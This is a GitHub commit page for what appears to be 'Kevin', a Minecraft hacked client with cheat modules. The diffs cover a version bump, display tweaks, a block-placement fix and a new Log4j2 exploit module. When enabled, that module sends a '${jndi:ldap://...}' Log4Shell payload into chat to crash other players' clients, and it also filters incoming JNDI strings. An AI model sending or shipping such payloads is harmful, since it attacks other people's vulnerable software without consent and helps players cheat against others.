Update 1.8

Minelimer · Dec 24, 2021 · 3887b4d · 3887b4d
1 parent f353c12
commit 3887b4d
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Showing 8 changed files with 65 additions and 6 deletions.
diff --git a/src/minecraft/Start.java b/src/minecraft/Start.java
@@ -8,7 +8,7 @@ public class Start
 {
     public static void main(String[] args)
     {
-        Main.main(concat(new String[] {"--version", "mcp", "--accessToken", "0", "--assetsDir", "assets", "--assetIndex", "1.8", "--userProperties", "{}"}, args));
+        Main.main(concat(new String[] {"--version", "kevin", "--accessToken", "0", "--assetsDir", "assets", "--assetIndex", "1.8", "--userProperties", "{}"}, args));
     }
 
     public static <T> T[] concat(T[] first, T[] second)

diff --git a/src/minecraft/kevin/main/KevinClient.kt b/src/minecraft/kevin/main/KevinClient.kt
@@ -22,7 +22,7 @@ import org.lwjgl.opengl.Display
 
 object KevinClient {
     var name = "Kevin"
-    var version = "b1.7"
+    var version = "b1.8"
 
     var isStarting = true
 

diff --git a/src/minecraft/kevin/module/ModuleManager.kt b/src/minecraft/kevin/module/ModuleManager.kt
@@ -49,6 +49,7 @@ class ModuleManager : Listenable {
             GhostHand(),
             KeepContainer(),
             Kick(),
+            Log4j2(),
             MultiActions(),
             NoPitchLimit(),
             Phase(),
@@ -62,6 +63,7 @@ class ModuleManager : Listenable {
         miscList = arrayListOf(
             AdminDetector,
             AntiBot(),
+            AntiInvalidBlockPlacement(),
             AutoCommand(),
             AutoDisable,
             AutoL(),

diff --git a/src/minecraft/kevin/module/modules/exploit/Log4j2.kt b/src/minecraft/kevin/module/modules/exploit/Log4j2.kt
@@ -0,0 +1,34 @@
+package kevin.module.modules.exploit
+
+import kevin.event.EventTarget
+import kevin.event.PacketEvent
+import kevin.module.Module
+import kevin.module.ModuleCategory
+import kevin.utils.ChatUtils
+import net.minecraft.network.play.client.C01PacketChatMessage
+import net.minecraft.network.play.server.S02PacketChat
+
+class Log4j2 : Module("Log4j2", "Anti log4j2 exploit and use it to crash other player client.", category = ModuleCategory.EXPLOIT) {
+    override fun onEnable() {
+        val m = arrayOf(
+            "www.baidu.com",
+            "liquidbounce.net",
+            "fanyi.sogou.com",
+            "github.com",
+            "scriptapi.liquidbounce.net",
+        ).random()
+        mc.netHandler.addToSendQueue(C01PacketChatMessage("\${jndi:ldap://$m}"))
+        ChatUtils.messageWithStart("Sent crash packet... [$m]")
+        this.state = false
+    }
+    @EventTarget(true)
+    fun onPacket(event: PacketEvent) {
+        val packet = event.packet
+        if (packet is S02PacketChat &&
+            (packet.chatComponent.formattedText.contains("\${jndi:")
+                    || packet.chatComponent.unformattedText.contains("\${jndi:"))) {
+            event.cancelEvent()
+            ChatUtils.messageWithStart("§aCancel receiving message that may trigger vulnerability!!(${packet.chatComponent.formattedText.replace("\${","").replace("}","")})")
+        }
+    }
+}
diff --git a/src/minecraft/kevin/module/modules/misc/AntiInvalidBlockPlacement.kt b/src/minecraft/kevin/module/modules/misc/AntiInvalidBlockPlacement.kt
@@ -0,0 +1,21 @@
+package kevin.module.modules.misc
+
+import kevin.event.EventTarget
+import kevin.event.PacketEvent
+import kevin.module.BooleanValue
+import kevin.module.Module
+import kevin.via.ViaVersion
+import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement
+
+class AntiInvalidBlockPlacement : Module("AntiInvalidBlockPlacement", "Anti invalid block placement caused by via-version.") {
+    private val versionCheck = BooleanValue("VersionCheck", true)
+    @EventTarget
+    fun onPacket(event: PacketEvent) {
+        val packet = event.packet
+        if ((!versionCheck.get() || ViaVersion.nowVersion > 210) && packet is C08PacketPlayerBlockPlacement) {
+            packet.facingX = 0.5F
+            packet.facingY = 0.5F
+            packet.facingZ = 0.5F
+        }
+    }
+}
diff --git a/src/minecraft/kevin/module/modules/misc/HideAndSeekHack.kt b/src/minecraft/kevin/module/modules/misc/HideAndSeekHack.kt
@@ -195,6 +195,8 @@ object HideAndSeekHack : Module("HideAndSeekHack","Mark every hider.") {
     }
     @EventTarget
     fun onWorld(event: WorldEvent){
+        if (event.worldClient == null)
+            return
         hiderBlocks.clear()
         airs.clear()
         sY = 0

diff --git a/src/minecraft/kevin/module/modules/render/NameTags.kt b/src/minecraft/kevin/module/modules/render/NameTags.kt
@@ -99,7 +99,7 @@ class NameTags : Module("NameTags", "Changes the scale of the nametags so you ca
 
                 val distanceText = if (distanceValue.get()) "§7 [§a${mc.thePlayer.getDistanceToEntity(entity).roundToInt()}§7]" else ""
                 val pingText = if (pingValue.get() && entity is EntityPlayer) (if (ping > 200) "§c" else if (ping > 100) "§e" else "§a") + ping + "ms §7" else ""
-                val healthText = if (healthValue.get()) "§7 [§f" + entity.health.toInt() + "§c❤§7]" else ""
+                val healthText = if (healthValue.get()) "§7 [§c${entity.health.toInt()}❤${if (entity.absorptionAmount != 0F) "§7 + §e${entity.absorptionAmount.toInt()}❤" else ""}§7]" else ""
                 val botText = if (bot) " §7[§6§lBot§7]" else ""
 
                 val text = "$distanceText$pingText$nameColor$tag$healthText$botText"

diff --git a/src/minecraft/net/minecraft/network/play/client/C08PacketPlayerBlockPlacement.java b/src/minecraft/net/minecraft/network/play/client/C08PacketPlayerBlockPlacement.java
@@ -13,9 +13,9 @@ public class C08PacketPlayerBlockPlacement implements Packet<INetHandlerPlayServ
     private BlockPos position;
     private int placedBlockDirection;
     private ItemStack stack;
-    private float facingX;
-    private float facingY;
-    private float facingZ;
+    public float facingX;
+    public float facingY;
+    public float facingZ;
 
     public C08PacketPlayerBlockPlacement()
     {